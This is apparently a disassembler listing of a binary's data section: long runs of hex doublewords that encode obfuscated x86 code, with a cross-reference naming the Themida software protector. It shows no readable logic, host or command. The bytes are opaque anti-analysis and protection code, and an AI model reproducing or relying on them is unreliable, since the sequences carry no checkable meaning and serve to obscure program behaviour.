		dd 8104246Ch, 15042444h, 45000000h, 0EC6AC355h,	2D45B589h
		dd 95FF0614h, 6141A71h,	8DFE8B66h, 17A8FC8Dh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 5644828Ch, 8BDFFF65h, 1410399Dh, 0DB816606h,	0D1FF0828h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 22C35242h
		dd 3FF8133Dh, 5818C582h, 1E99D8Bh, 0BD830614h, 61412CDh
		dd 7A850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 4173C356h, 6C5384Ch
		dd 67B48E1Bh, 26AF98Bh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0BCC35343h, 5FE6362Bh, 90BB75D4h, 8BF3BB66h
		dd 12E850h, 4FFD0000h, 0AA89FDBh, 0B9F11206h, 0BBCCC0F0h
		dd 5C94B12Eh, 9D8B905Fh, 6140021h, 93995FFh, 8B660614h
		db 0F9h
byte_5948A9	db 0E9h, 9Bh, 0Eh	; DATA XREF: Themida_:0054AC70o
		dd 0E80000h, 5D000000h,	0BCD4ED81h, 81FC0618h, 0A344ABF7h
		dd 41BF664Eh, 23858DA3h, 6A061796h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0BED7C351h
		dd 321B8A4Eh, 665BF957h, 0F4F9D781h, 24048950h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 8DC35545h, 0FE9534Dh
		dd 0C5000000h, 2858F460h, 5467DABBh, 4E331F03h,	0F5F40A5h
		dd 0C82h, 6800F00h, 0F000000h, 8Ah, 0DBF6600h, 35FF64CDh
		dd 0
		dd 25CD9D03h, 89640614h, 25h, 81666000h, 660304F3h, 7DCF81h
		dd 6D85FF61h, 89061423h, 1409A185h, 0DE806h, 0A8780000h
		dd 0AFEE6B2Dh, 0EAA87FEFh, 0F1CDE30h, 680h, 0E5BD8B00h
		dd 5F06140Bh, 0BD89FF6Ah, 6141C25h, 0D49B5FFh, 6A0614h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0BD8B16C3h, 614235Dh, 2B1995FFh, 3EE90614h, 0B000001h
		dd 1408CD9Dh, 100B006h,	1430599Dh, 6070E606h, 2215B503h
		dd 0EE90614h, 0F2000000h, 0F0D2D984h, 6EB4E723h, 0A50BDDECh
		dd 71E461FBh, 14E9h, 24D47000h,	7E3653ECh, 0FEA60C20h
		dd 5A7117E6h, 79907E26h, 0F613CE9h, 0F083h, 0DE900h, 0C300000h
		dd 0AEBC0CD6h, 38BFD0E3h, 0FE380FEh, 8B66C8B6h,	6BADFh
		dd 0F5600000h, 0D8A0Fh,	8E90000h, 85000000h, 0B947F076h
		dd 61B1417Eh, 8D31C18Bh, 6140D0Dh, 8A04E8C1h, 0E2F766F9h
		dd 0FB090BBFh, 33C82B08h, 1431119Dh, 8BD18B06h,	1430E1BDh
		dd 93E906h, 95890000h, 6142EA1h, 8858Bh, 0BD8B0000h, 6140FBDh
		dd 31518D89h, 0C0830614h, 0FBBF0F07h, 8900C083h, 142ED185h
		dd 0FD03B06h, 0F83h, 0FB8B5300h, 5BE95Bh, 0BF0F0000h, 0FEBF0FF8h
		dd 0FFFF8D8Bh, 0EEBFFFFFh, 0E8443CCCh, 12h, 69B1DD02h
		dd 0AA53E051h, 95BFA3D2h, 177D8FA0h, 0BD29ED6Eh, 6140F65h
		dd 1E1835Fh, 23840Fh, 0FA8A0000h, 83DE8B66h, 0FFFFFFA5h
		dd 9589FEFFh, 614221Dh,	89589h,	0B5310000h, 614167Dh, 0E9h
		dd 34B58D00h, 8B06183Ch, 6A006AD8h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 746AC357h
		dd 2510238Bh, 0EB811460h, 2E8AD5BCh, 116995FFh,	0BD8B0614h
		dd 614210Dh, 0FB5B9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0E183F01Eh, 50006AFCh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0C0446454h, 39B501D0h, 0FC06140Dh, 2BDFB70Fh, 57006AC0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 9AA7A8D2h, 54B91D14h, 0BAh, 20BF5100h, 5B48A276h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0DEC35343h, 9E87D98h,	92000000h, 0A99914A6h
		dd 0E15873A2h, 0CAE8BF66h, 56006A5Fh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0C9E7DE9Dh
		dd 0B8C8C1C4h, 0D88B6603h, 0D9EE380h, 88h, 958B4AB7h, 6143229h
		dd 8B95D380h, 14064D8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 0C28B5006h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 8A58188Bh, 52006AF9h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 9C56ED9Bh, 24A56AC4h, 29ADBD83h, 0F000614h, 7284h, 219D8900h
		dd 80061415h, 0B8E9F7h,	53000000h, 8D5FD88Bh, 144D798Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 1027F571h, 9158C319h, 0D381664Ah, 0E1FF613Ah
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0BAC35343h
		dd 0E92CCDBDh, 5, 0B593D2FAh, 0D19D8B09h, 8306140Ah, 142671BDh
		dd 840F0006h, 470h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 66C35040h, 3029331h, 9639EEEDh, 71BD83FCh
		dd 1061426h, 459840Fh, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 102BD6C3h, 894EF65Dh
		dd 141C6185h, 71BD8306h, 3061426h, 3EF860Fh, 85890000h
		dd 6142AC1h, 12E8h, 14569500h, 104B1BC9h, 29BA893Dh, 3E6D6A3Ch
		dd 0F97456B5h, 6A605Fh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 8C66CBC3h, 50006AD9h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 3BA1C6Dh, 142559BDh
		dd 80CEB706h, 6A04E1h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0AC1E37C3h, 0AFF8A4Ah, 48840FC9h
		dd 0F000001h, 858BFFB7h, 6141969h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 71C35747h, 1A72FCF7h, 159D8Bh
		dd 85330614h, 6141B81h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 0A6C35141h, 0FDE1CB1h, 687h, 6D958900h
		dd 90061405h, 310F5250h, 7E8h, 0FBF5BD00h, 0E233137Eh
		dd 5BFB8B66h, 9050585Ah, 9759D23h, 6A0614h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0CFC35646h, 809EE5ACh
		dd 4E84043h, 0FF000000h, 0BB001F03h, 6656C6BCh,	8BD88B50h
		dd 52042444h, 8B008B5Fh, 244489DEh, 6E804h, 97110000h
		dd 0DB03B003h, 5E9h, 0DD520200h, 585FBF81h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 1BC35242h, 1ADBD09h
		dd 95FF0614h, 61409ADh,	1D8DBD8Bh, 85890614h, 617AA98h
		dd 3850Fh, 0BF0F0000h, 1D3E9DFh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h
		db 24h,	4
word_594F42	dw 4481h		; DATA XREF: ___:off_438C78o
		dd 140424h, 52420000h, 0E8536BC3h, 5, 64B8538Eh, 0E9BB6658h
		dd 8B5F5FA7h, 17AA9085h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 8501ACF2h, 6140E15h, 1800C7h
		dd 870F0000h, 1, 94B58BF9h, 290617AAh, 14063195h, 29858B06h
		dd 6A06140Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 2625C356h, 25E91BF7h, 660689BFh
		dd 8B6783BBh, 14196985h, 8C0F5106h, 6, 26758589h, 8B5F0614h
		dd 142B65BDh, 4468906h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 15C35040h, 9034EA84h,	8B60379Fh, 669661CFh
		dd 5099A1BFh, 57006A96h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 0E54F8707h, 0AFDB8166h, 90B5FF8Bh
		dd 6A0617AAh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 3B2C352h, 1F9A08DDh, 0E5A6800h
		dd 8B666A5Bh, 243481FAh, 6A440DA5h, 0D59D8B56h,	5B061406h
		dd 0AA98858Dh, 6A0617h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 40CBACC3h, 8B721D8Fh, 1414E19Dh
		dd 66505006h, 5B4038BFh, 6A240489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0EA85C357h
		dd 8D89A3EBh, 6140FA5h,	0FCD8589h, 95FF0614h, 61409ADh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 73C35040h
		dd 29B5339Ch, 0BD8B61F5h, 6140659h, 2185B589h, 85C70614h
		dd 6142671h, 3,	0FF59589h, 12E80614h, 9A000000h, 921E0552h
		dd 72F267A8h, 0B7869B60h, 0BB19D812h, 810F53A5h, 0
		dd 0BD835B5Fh, 617AA98h, 26840F00h, 0F000000h, 148Fh, 8E800h
		dd 0BC030000h, 0F7891077h, 9D8B4C84h, 6142B8Dh,	21E9F55Bh
		dd 8B000000h, 142B69BDh, 0C305006h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 33C35141h, 8D8B6090h,	6140E59h, 61C7B70Fh
		dd 2A859589h, 0BD8B0614h, 614058Dh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 1C35747h, 8BAE6675h, 14068DBDh
		dd 0BD83F906h, 6142671h, 0D2850F03h, 6A000004h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0FCE1C352h, 22071234h, 10E9AF22h, 8E000000h,	45BC39A4h
		dd 0A2361FA0h, 0EB21C78Ah, 836E9D10h, 17AA98BDh, 840F0006h
		dd 48Dh, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Ah,	4FC35141h, 5646B110h, 8B0FFDC7h, 6, 3E98D89h, 0BF0F0614h
		dd 98B5FFFBh, 6A0617AAh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 8C08C353h, 0EE9h, 0C12A1900h
		dd 0BDD2D476h, 3C3D1515h, 899A45BEh, 140849BDh,	0F595FF06h
		dd 6A06142Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 74EC350h, 2EADB589h, 0B58B0614h
		dd 617AA8Ch, 0D9BF0F57h, 106C75Bh, 6A000100h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 3ED1C357h, 5872BF66h, 9E9h, 363CF500h, 0E03115F1h, 0BF509673h
		dd 3D5FCE44h, 6A243489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 660AC353h, 0B589DF8Bh
		dd 614035Dh, 0AA98B5FFh, 800F0617h, 2, 95FFC5B7h, 6140B31h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 2EC35242h
		dd 88B1607Bh, 24ED958Bh, 8B610614h, 17AA8CB5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 541493A3h, 0E985619Eh, 6, 3664DE08h,	95893449h, 6141A7Dh
		dd 21D5858Bh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0F1FF37C3h, 1573757Ch, 24558D89h
		dd 86890614h, 0C4h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0FEC35242h, 0ED79CC5Eh, 0CFAFCE3Ch, 15D9BD8Bh
		dd 8B660614h, 29958BFAh, 66061432h, 8308E0BBh, 6A04C2h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0E611DEC3h, 89F357F0h, 6A2050h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0D6F179C3h, 6858DF8h
		dd 6A0617BEh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 5E6FC352h, 70E8AF3h, 8509852Eh
		dd 6140CA9h, 8689D88Bh,	0B8h, 8E0Fh, 6A0000h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0F5C35343h, 159D33h
		dd 0B5FF0614h, 617AA98h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0D1C35747h, 0D7A44CADh, 0DDC08060h, 0FF61C38Bh
		dd 14093995h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 898FD374h, 1400E585h, 0EE99606h
		dd 0C0000000h, 0AA461AFh, 0D4A184FAh, 0B6F15927h, 12E850A3h
		dd 77000000h, 9E6C6BBBh, 54EB4589h, 0E1B86A7h, 0FCAF6546h
		dd 5B5160CAh, 5F616160h, 6BBB6696h, 98B5FF81h, 6A0617AAh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0CE3AC356h, 8971673Dh, 140E959Dh,	0F595FF06h
		dd 6A061420h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0F53BC350h, 0BD83FE8Bh, 6140C21h
		dd 32840F00h, 0F000000h, 0E996FBB7h, 14h, 0D3301596h, 0C884030Bh
		dd 0FDD03165h, 80F25D34h, 2AF00357h, 50525050h,	50310F52h
		dd 5A310F52h, 0F585A58h, 96585A31h, 98B5FFFCh, 6A0617AAh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 754CC353h, 8E1694C3h, 68DF8009h, 2B195FFh
		dd 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 3F01FFC3h, 98B5FF15h, 890617AAh, 1404F985h
		dd 8195FF06h, 60061430h, 61F88B60h, 95D38166h, 80606169h
		dd 8361C6C9h, 1409F5BDh, 840F0206h, 3Ah, 21C9BD89h, 858B0614h
		dd 6142D01h, 0D3F78166h, 0C6A7h, 0E857006Ah, 3,	5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0DAC35747h,	8E58AA11h, 6609B79Bh
		dd 85C7F98Bh, 614244Dh,	0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0AC35747h
		dd 8D6EF7A3h, 0F286E946h, 0BD09FFFFh, 6141AC1h,	6AC18Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 738C71C3h, 8689F182h, 0E9710A05h, 11h, 0EC69220Ch, 9A8A7766h
		dd 0AF730799h, 19D9DD1Ah, 99858D8Ah, 6A06140Fh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 8D4EC356h, 0BCC31DA6h, 8950F8B7h, 6A2404h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 6A4A8CC3h
		dd 0C4A8898Bh, 0EE9h, 0C16BDE00h, 5E3289A5h, 6EF3E258h
		dd 66B7D4B1h, 0E8E6DF81h, 9589006Ah, 61414E1h, 9D33006Ah
		dd 6141615h, 0CDF8858Dh, 6A0618h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 8D8960C3h, 6140971h
		dd 8B05C083h, 1412BD9Dh, 11E99006h, 0B9000000h,	0E12B8DC5h
		dd 0BBCB65DAh, 0D63B535Fh, 868F6331h, 0BB665350h, 905BD05Ah
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0DCC35343h
		dd 455CFEh, 0F60EBD1h, 683h, 39958900h,	6A061430h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 50EF7AE4h, 8B19D2F8h, 140975BDh, 6A006A06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 50ACC351h, 0FF98037Fh, 141A7195h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 9454FA3Ah
		dd 0E9D85131h, 0Fh, 2FFBA440h, 0AE71E3C5h, 0CE88687Eh
		dd 8DBB9BA3h, 17A8FC8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 7624F643h, 33BF60B1h
		dd 8B65B305h, 140E398Dh, 0D1FF6106h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 7C35343h, 50E44EF0h, 6EBBF007h
		dd 834418AEh, 1412CDBDh, 850F0106h, 0A7h, 0C6CB8166h, 7AD78105h
		dd 6A5EC078h, 55006A02h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0D1958994h, 80061402h, 509002CFh
		dd 9E952h, 524A0000h, 0F0FC3D55h, 0F03B5ADh, 5E831h, 901B0000h
		dd 5FA4975Ch, 0BF50585Ah, 6A3D8C78h, 51006A90h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 93154BDEh
		dd 0D982CBA6h, 93995FFh, 6A0614h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0AF8C0DC3h, 78BF10BDh
		dd 0E9272ED9h, 0D99h, 0E8h, 0ED815D00h,	618CE02h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 82C35343h, 6A65B035h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0A3DBC351h, 2EFDB589h, 858D0614h,	6179623h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0ECC35040h
		dd 2349A384h, 1425E1BDh, 0CB816606h, 60907B54h,	61616060h
		dd 61D68B66h, 983EBF50h, 6A904F1Eh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 315C357h
		dd 2B818589h, 0FF640614h, 35h, 59BD8900h, 6406142Fh, 2589h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0D0F647C3h, 8DBD0B08h, 0FF061431h, 14236D85h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 1AA4F1B7h, 0C49BAE44h, 0BB66313Bh, 0FF6A7E24h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0A0C35141h
		dd 0EA3EC897h, 95858976h, 5106140Ch, 0FF5BD98Bh, 142319B5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 8174F882h, 69BD89F0h, 0FF06140Eh, 142B1995h
		dd 0F0E906h, 0BD8B0000h, 6141D41h, 0B032B3h, 0DE8h, 1150FE00h
		dd 548BE7C0h, 6ECAB287h, 0B529502Ah, 6141FC5h, 0E470E65Fh
		dd 41BD8B71h, 3C061411h, 0BB830F61h, 23000000h,	1408F9BDh
		dd 0C8B60F06h, 0D4EB8166h, 6BAAEh, 0B70F0000h, 0BFC18BD9h
		dd 71EDCBB3h, 8104E8C1h, 66FD53EFh, 0E2F76623h,	0BF66C82Bh
		dd 0D18B70FEh, 83E9EBB3h, 0FC000000h, 12E9h, 0E12E6B00h
		dd 0A933D047h, 17478B4h, 2C0919A6h, 8B2CB54Ch, 185h, 0DBBF0F00h
		dd 8007C083h, 0C083E9C3h, 1DBD8B00h, 3B06142Dh,	19830FD0h
		dd 0F9000000h, 45E9h, 0EE900h, 32A90000h, 0CCEAAC3Eh, 47CEA425h
		dd 1A4D82F7h, 0FFFF8D8Bh, 8B66FFFFh, 1E183FAh, 20840Fh
		dd 0BD8B0000h, 6142C65h, 0FFFFA583h, 66FEFFFFh,	3E17E381h
		dd 19589h, 8B660000h, 0E9FAh, 0B58D0000h, 6184BE9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 76C35545h, 0F8C5DC34h
		dd 0E918589h, 6A0614h, 0C591FBFh, 0CD9D8B63h, 0FF06141Ch
		dd 14116995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 12FF82A9h, 0F5FAE550h, 0FF8B9h, 5DBD8B00h
		dd 8306140Fh, 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 60D7A2C3h, 0FD8BF0Fh, 0FC61D8B7h
		dd 9E8h, 84B5B400h, 10B0DA0Ah, 8B66EDE8h, 7E85FFBh, 6000000h
		dd 19D955Ah, 8D89CA2Dh,	614199Dh, 6AC02B5Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0CA94C351h, 7D0E20B0h, 0CEA393C0h, 0D98B66F9h, 0BAh
		dd 0ADFA8B00h, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 3A47C356h, 0AB6DD989h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 3FC35141h, 0FA8B3294h, 880Dh,	35BD8B00h
		dd 8B06140Dh, 14322995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 6249DC98h, 4D8D8BF5h
		dd 6A061406h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0F205C351h, 50CEC658h,	188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 53006A58h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 2921409Dh
		dd 140F819Dh, 0ADBD8306h, 61429h, 84840Fh, 0DA8B0000h
		dd 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 8DF01C83h, 0CCD5E8A8h, 0C2DB813Eh
		dd 8D432E5Dh, 144D798Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 8B89FAC1h, 142AF19Dh
		dd 6AE1FF06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0D54AC356h, 6E562FB6h,	0F359509h
		dd 0BD830614h, 6142671h, 0FB840F00h, 6A000003h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 76CBC350h, 0FE9CCEEh, 684h, 51BD8B00h, 8306141Ah, 142671BDh
		dd 840F0106h, 3DDh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 6EC35040h, 5F722BE8h,	5B6ABA80h, 6024BB66h
		dd 2671BD83h, 0F030614h, 37286h, 818D8900h, 60061429h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 67C35040h
		dd 663E8B21h, 0A443D381h, 6AD98C66h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0EACC353h
		dd 4E18011h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	96C35747h, 289F5B0Eh, 0C90AB138h, 140840Fh, 66600000h
		dd 0B533FA8Bh, 6142945h, 69858B61h, 6A061419h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0A774C351h, 4E783EE6h, 8185331Ch, 0E906141Bh, 0Fh, 0FD2CC835h
		dd 7572F9F8h, 71EB1009h, 2B84C5C6h, 1419ADBDh, 0FE89006h
		dd 2C000000h, 7D7B68B7h, 0BFA507ABh, 91256367h,	12E90E0Dh
		dd 0B8000000h, 4B9000FEh, 0CB27A6F7h, 7D26FB7Dh, 3EDB50E8h
		dd 0F505F1Bh, 482h, 72BB6600h, 9589909Ch, 61403D1h, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 9D141AC3h, 0C571088Ah, 0B668D935h, 0F957BB0h, 138Ah
		dd 0DE800h, 4D2C0000h, 0C244FE14h, 0DE1D8333h, 5FBC9867h
		dd 49240481h, 316AA353h, 1413898Dh, 0AD95FF06h,	6A061409h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 89E1C353h, 17AA9885h, 21BD8B06h, 0E906142Ch
		dd 187h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 16h,	4FC35141h, 6660CBD0h, 8B4FF0B8h, 14224995h, 858B6106h
		dd 617AA90h, 2B45B589h,	0C70614h, 18h, 106D8531h, 0B58B0614h
		dd 617AA94h, 244A28BFh,	29858B5Fh, 6A06140Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 80B1C355h, 248FD1DCh, 9DBD8BF9h, 8906142Ah, 1958906h
		dd 8B06140Dh, 14196985h, 8E806h, 526F0000h, 45D513C8h
		dd 0F380EF2Fh, 0BD8B5FD3h, 6141C61h, 81044689h,	13BD77EBh
		dd 6056962Eh, 14E8h, 0E0E59600h, 4E186BE7h, 0EDA3087Ch
		dd 0E8D0168Eh, 0CEA99DADh, 0E28A5EF2h, 0BB505B61h, 76C8F3FDh
		dd 50006A96h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0DCDDEF7Dh, 9D091B1Ch, 6141411h,	0AA90B5FFh
		dd 890F0617h, 6, 30C59589h, 46680614h, 81E18856h, 0ADB92404h
		dd 6A1E96h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 8DA9FAC3h, 985FFAC7h, 0F5DA3444h,	0AA98858Dh
		dd 6A0617h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 987BA5C3h, 95295370h, 61408A9h, 0F53505Fh
		dd 81h,	4895F00h, 96D78124h, 0FF157D56h, 1409AD95h, 6DBD3106h
		dd 61061426h, 11059D8Bh, 85C70614h, 6142671h, 3, 58E0Fh
		dd 81660000h, 33B308C3h, 143049BDh, 98BD8306h, 617AAh
		dd 2D840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 180424h, 51410000h, 3E7D74C3h, 0DB71A45h, 21E9h, 0ADB52900h
		dd 50061430h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 9D89C08Bh,	6142369h, 13E9h, 7563F700h, 5B94CF0h
		dd 42612573h, 5E48E020h, 0C82EE016h, 0FE9h, 2C57A300h
		dd 8F6AD602h, 0D1B7DBA7h, 7BB96A50h, 2671BD83h,	0F030614h
		dd 42085h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0E924F922h, 12h, 0ECD77548h, 7D8E0234h
		dd 442CC140h, 7F229248h, 0BD837525h, 617AA98h, 0DE840F00h
		dd 6A000003h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 2EFFC357h, 633A612Dh, 8B1244CEh
		dd 140F5D9Dh, 98B5FF06h, 6A0617AAh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0BA86C353h
		dd 0F595FFB0h, 6A06142Ah, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 5A9AC355h, 8BFEB70Fh
		dd 17AA8CB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 6C7F8ABh,	10001h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ah, 3EC35242h, 0B6EE40E4h
